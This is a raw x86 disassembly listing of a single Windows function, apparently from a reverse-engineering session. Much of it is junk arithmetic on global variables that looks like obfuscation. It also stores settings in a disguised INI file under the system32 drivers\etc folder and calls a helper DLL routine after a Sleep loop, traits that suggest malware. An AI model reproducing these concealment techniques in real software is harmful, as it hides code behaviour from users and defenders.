mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov edx, esi
imul edx, edx, 0x5335ef4
mov eax, ecx
imul eax, eax, 0x4e899b9
sub ebx, edx
add ebx, eax
mov eax, 0x74b32761
imul dword [0x45cbcc]
sar edx, 0x18
add ebx, edx
mov eax, edx
mov edx, dword [0x45cbe4]
imul edx, edx, 0xfcfe96
shr eax, 0x1f
add eax, ebx
mov ebx, dword [str._r_____r____]
add eax, edx
sub eax, ebx
lea eax, [eax + edi + 0x456b154]
mov dword [0x45cbcc], eax
mov eax, dword [ebp - 0x10e4]
lea edx, [eax + 1]
mov dword [ebp - 0x10d0], edx
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x422717
sub eax, dword [ebp - 0x10d0]
cmp eax, 0x800
jae 0x422745
mov ecx, dword [ebp - 0x10e4]
mov edx, 0x55fde8
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x422736
jmp 0x4227cd
mov eax, 0xc4e5d61
imul esi
mov eax, dword [0x45cbc8]
imul eax, eax, 0x4ebb783
sar edx, 0x16
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
add ebx, eax
mov eax, 0x342745e1
imul esi
imul esi, esi, 0xfcfe96
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x74b32761
imul ecx
imul ecx, ecx, 0x23193db
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
add eax, ecx
sub eax, esi
sub eax, edi
mov dword [0x45cbd8], eax
xor eax, eax
mov ecx, 0x200
mov edi, 0x55fde8
rep stosd dword es:[edi], eax
mov ecx, dword [ebp - 0x10e4]
push 0x7ff
push ecx
push 0x55fde8
call fcn.004313b0
mov ebx, dword [str._r_____r____]
add esp, 0xc
mov edx, dword [0x45cbc8]
mov eax, dword [0x45cbd4]
lea esi, [edx + eax]
mov eax, 0x315a5211
imul esi, esi, 0x23193db
imul dword [0x45cbe4]
mov ecx, dword [0x45cbd8]
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x3b012ec7
imul ebx
imul ebx, ebx, 0x4ebb783
sar edx, 0x18
add esi, edx
mov edi, edx
mov eax, 0x680c7cd1
imul ecx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
shr edi, 0x1f
add edi, esi
sub edi, eax
mov eax, 0x83740ec5
imul ecx
add edx, ecx
sar edx, 0x19
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
add edi, ebx
sub edi, ecx
mov eax, 0x55f4e8
mov dword [0x45cbe4], edi
lea ecx, [eax + 1]
nop
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x422850
sub eax, ecx
cmp eax, 5
jbe 0x422bad
mov edx, dword [ebp - 0x10e4]
push str.ConfigL6
push edx
call fcn.00405110
add esp, 8
test eax, eax
jne 0x422bad
mov ecx, dword [0x45cbd0]
mov eax, dword [0x45cbd8]
mov edx, dword [str._r_____r____]
lea esi, [eax + ecx]
imul ecx, ecx, 0x4ebb783
mov eax, 0x3bfa58a9
imul esi, esi, 0x4e899b9
imul edx
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
sub esi, ecx
mov ecx, dword [0x45cbc8]
mov eax, 0x680c7cd1
imul ecx
sar edx, 0x19
mov edi, edx
add esi, edx
mov eax, 0x74b32761
imul ecx
sar edx, 0x18
shr edi, 0x1f
mov ecx, edx
add edi, esi
add edi, edx
mov edx, dword [0x45cbe4]
imul edx, edx, 0xfcfe96
shr ecx, 0x1f
add ecx, edi
sub ecx, edx
push 0x132db2c
mov dword [0x45cbe8], ecx
call sym.CallDll.exe_int___cdecl_pro_cess3_int_
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 4
mov dword [ebp - 0x10c8], 0
cmp dword [ebp - 0x10c8], 0x64
jge 0x4229cd
mov esi, dword [0x45cbd4]
mov ecx, dword [0x45cbcc]
mov eax, 0x315a5211
imul esi
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x315a5211
imul ecx
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cbdc]
imul edx, edx, 0x3575d9d
sub eax, ebx
add eax, edx
mov edx, dword [0x45cbe8]
imul edx, edx, 0x5335ef4
add eax, edx
mov ebx, eax
mov eax, 0x680c7cd1
imul esi
mov eax, ecx
imul eax, eax, 0x4e899b9
sar edx, 0x19
mov esi, edx
add ebx, edx
shr esi, 0x1f
add esi, ebx
add esi, eax
mov eax, 0x83740ec5
imul ecx
add edx, ecx
sar edx, 0x19
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
push 0x64
mov dword [str._r_____r____], esi
call edi
mov eax, 0x55f4e8
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4229b1
sub eax, ecx
mov dword [ebp - 0x10d0], eax
je 0x4229cd
inc dword [ebp - 0x10c8]
jmp 0x422910
mov ecx, dword [0x45cbd4]
mov eax, 0x993c2c11
imul ecx
add edx, ecx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cbe8]
imul edx, edx, 0x5335ef4
mov esi, eax
sub esi, edx
mov eax, 0x680c7cd1
imul ecx
mov eax, dword [0x45cbe0]
mov ecx, dword [0x45cbcc]
imul eax, eax, 0x4e899b9
sar edx, 0x19
mov edi, edx
add esi, edx
shr edi, 0x1f
add edi, esi
add edi, eax
mov eax, 0x74b32761
imul ecx
sar edx, 0x18
mov ecx, edx
add edi, edx
mov edx, dword [0x45cbe4]
imul edx, edx, 0xfcfe96
push str.C:_WINDoWS_system32driversetc_serViCe5.ini
shr ecx, 0x1f
push 0x800
add ecx, edi
add ecx, edx
mov edx, dword [str._r_____r____]
lea eax, [ebp - 0x10c4]
push eax
push 0x44ce85
sub ecx, edx
push str.ConfigL5
add ecx, 0x456b154
push str.GameType1
mov dword [0x45cbcc], ecx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov ecx, dword [str._r_____r____]
mov edx, dword [0x45cbd8]
mov esi, dword [0x45cbdc]
lea edi, [edx + ecx]
imul ecx, ecx, 0x4ebb783
mov eax, 0x680c7cd1
imul edi, edi, 0x3575d9d
imul esi
sar edx, 0x19
mov eax, esi
imul eax, eax, 0x4e899b9
mov ebx, edx
add edi, edx
shr ebx, 0x1f
add ebx, edi
add ebx, ecx
add ebx, eax
mov eax, 0x74b32761
imul esi
sar edx, 0x18
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45cbe0]
sub ebx, ecx
lea ecx, [ebp - 0x10c4]
lea eax, [ebx + edx - 0xfcfe96]
push ecx
mov dword [0x45cbd4], eax
call fcn.00430972
inc eax
push eax
lea edx, [ebp - 0x10c4]
push 0x44cb00
push edx
call fcn.00430341
add esp, 0x10
push str.C:_WINDoWS_system32driversetc_serViCe5.ini
lea eax, [ebp - 0x10c4]
push eax
push str.ConfigL5
push str.GameType1
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
mov ecx, dword [0x45cbcc]
mov edx, dword [0x45cbd0]
mov esi, dword [0x45cbe4]
lea edi, [edx + ecx]
mov eax, 0x315a5211
imul edi, edi, 0x3e51956
imul esi
sar edx, 0x18
add edi, edx
mov ebx, edx
mov eax, 0x993c2c11
imul ecx
add edx, ecx
mov ecx, dword [0x45cbe0]
sar edx, 0x19
imul ecx, ecx, 0x222559d
mov eax, edx
shr eax, 0x1f
add eax, edx
shr ebx, 0x1f
add ebx, edi
sub ebx, eax
mov eax, 0x680c7cd1
imul esi
mov esi, dword [0x55f4e0]
add ebx, ecx
mov ecx, dword [0x45cbdc]
imul ecx, ecx, 0xfcfe96
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
add eax, ecx
inc esi
push 0
mov dword [0x45cbdc], eax
mov dword [0x55f4e0], esi
call fcn.00430977
add esp, 4
mov dword [0x55f4e4], eax
lea ecx, [ebp - 0x1140]
mov byte [ebp - 4], 6
call fcn.004070e0
mov eax, dword [0x45cbc8]
mov esi, dword [0x45cbd8]
mov edx, dword [0x45cbd4]
lea edi, [eax + edx]
mov ecx, dword [str._r_____r____]
imul edi, edi, 0x23193db
mov eax, 0x315a5211
imul dword [0x45cbe4]
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x3b012ec7
imul ecx
imul ecx, ecx, 0x4ebb783
sar edx, 0x18
add edi, edx
mov ebx, edx
mov eax, 0x680c7cd1
imul esi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
shr ebx, 0x1f
add ebx, edi
sub ebx, eax
mov eax, 0x83740ec5
imul esi
add edx, esi
add ebx, ecx
sar edx, 0x19
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [ebp - 0x10d8]
push ecx
sub ebx, ecx
mov eax, esp
mov dword [0x45cbe4], ebx
mov dword [eax], edx
mov eax, dword [ebp - 0x10d8]
test eax, eax
mov dword [ebp - 0x10d0], esp
je 0x422c5d
mov ecx, dword [eax]
push eax
call dword [ecx + 4]
mov ecx, 0x570738
call fcn.00408090
mov ecx, dword [0x45cbe4]
mov eax, 0x993c2c11
imul ecx
add edx, ecx
mov ecx, dword [0x45cbd0]
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x3bfa58a9
imul ecx
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cbe0]
imul edx, edx, 0x14e459e
mov edi, eax
sub edi, esi
add edi, edx
mov eax, 0x342745e1
imul ecx
sar edx, 0x18
mov esi, edx
add edi, edx
mov eax, 0x206151bf
imul ecx
mov ecx, dword [0x45cbc8]
imul ecx, ecx, 0xfcfe96
sar edx, 0x15
shr esi, 0x1f
mov eax, edx
add esi, edi
shr eax, 0x1f
add esi, edx
mov edx, dword [ebp - 0x10d8]
add eax, esi
add eax, ecx
push 0
push edx
mov dword [0x45cbc8], eax
call fcn.0040a380
mov ecx, dword [0x45cbd8]
mov esi, dword [0x45cbc8]
mov eax, 0x315a5211
imul dword [0x45cbdc]
mov edi, ecx
sar edx, 0x18
imul edi, edi, 0x52fe876
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, dword [0x45cbe8]
imul eax, eax, 0x5335ef4
mov edx, esi
imul edx, edx, 0x3575d9d
add edi, edx
mov edx, dword [0x45cbd0]
add edi, eax
mov eax, 0x3b012ec7
imul edx
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x206151bf
imul ecx
sar edx, 0x15
mov ecx, edx
shr ecx, 0x1f
add edi, edx
mov edx, dword [0x45cbe4]
add ecx, edi
sub ecx, edx
add esp, 8
sub ecx, 0xfcfe96
mov dword [0x45cbd0], ecx
jmp 0x422d85
mov esi, dword [0x45cbc8]
mov ecx, dword [0x45cbd0]
mov ebx, dword [0x45cbe8]
imul esi, esi, 0x4ebb783
mov eax, 0xc4e5d61
imul ebx
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
add eax, esi
mov dword [ebp - 0x10d0], eax
mov eax, 0x680c7cd1
imul dword [0x45cbd4]
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x10d0]
sub edx, eax
mov edi, dword [0x45cbe0]
mov dword [ebp - 0x10d0], edx
mov eax, 0x342745e1
imul ebx
imul ebx, ebx, 0xfcfe96
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x10d0]
sub edx, eax
mov dword [ebp - 0x10d0], edx
mov eax, 0x74b32761
imul edi
imul edi, edi, 0x23193db
mov eax, dword [ebp - 0x10d0]
sar edx, 0x18
mov esi, edx
shr esi, 0x1f
add eax, edx
add esi, eax
mov eax, dword [ebp - 0x10e0]
add esi, edi
sub esi, ebx
test eax, eax
mov dword [0x45cbd8], esi
mov byte [ebp - 4], 5
je 0x422e41
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [0x45cbd0]
mov esi, dword [0x45cbd8]
mov eax, dword [ebp - 0x10e8]
test eax, eax
mov byte [ebp - 4], 4
je 0x422e61
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov ecx, dword [0x45cbd0]
mov esi, dword [0x45cbd8]
mov eax, dword [ebp - 0x10d8]
test eax, eax
mov byte [ebp - 4], 2
je 0x422e81
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [0x45cbd0]
mov esi, dword [0x45cbd8]
mov eax, dword [ebp - 0x10dc]
test eax, eax
mov byte [ebp - 4], 1
je 0x420cec
jmp 0x420cda
mov eax, dword [ebp - 0x10fc]
mov ecx, dword [0x45cbd0]
mov ebx, dword [0x45cbe8]
inc eax
mov dword [ebp - 0x10fc], eax
jmp 0x420700
mov eax, dword [ebp - 0x10ec]
test eax, eax
mov byte [ebp - 4], 0
je 0x422edc
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov edi, dword [0x45cbcc]
mov ecx, dword [0x45cbd0]
mov esi, dword [0x45cbd8]
mov ebx, dword [0x45cbe8]
imul esi, esi, 0x222559d
mov eax, dword [0x45cbd4]
imul eax, eax, 0x5335ef4
add ecx, ebx
imul ecx, ecx, 0x456b154
sub ecx, eax
mov eax, 0x3b012ec7
imul edi
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
add ecx, esi
sub ecx, eax
mov eax, 0x83740ec5
imul ebx
mov eax, dword [0x45cbdc]
imul eax, eax, 0xfcfe96
add edx, ebx
sar edx, 0x19
mov esi, edx
shr esi, 0x1f
add ecx, edx
add esi, ecx
sub esi, eax
mov eax, dword [ebp - 0x1108]
mov dword [0x45cbe0], esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x14]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0043016d
mov esp, ebp
pop ebp
ret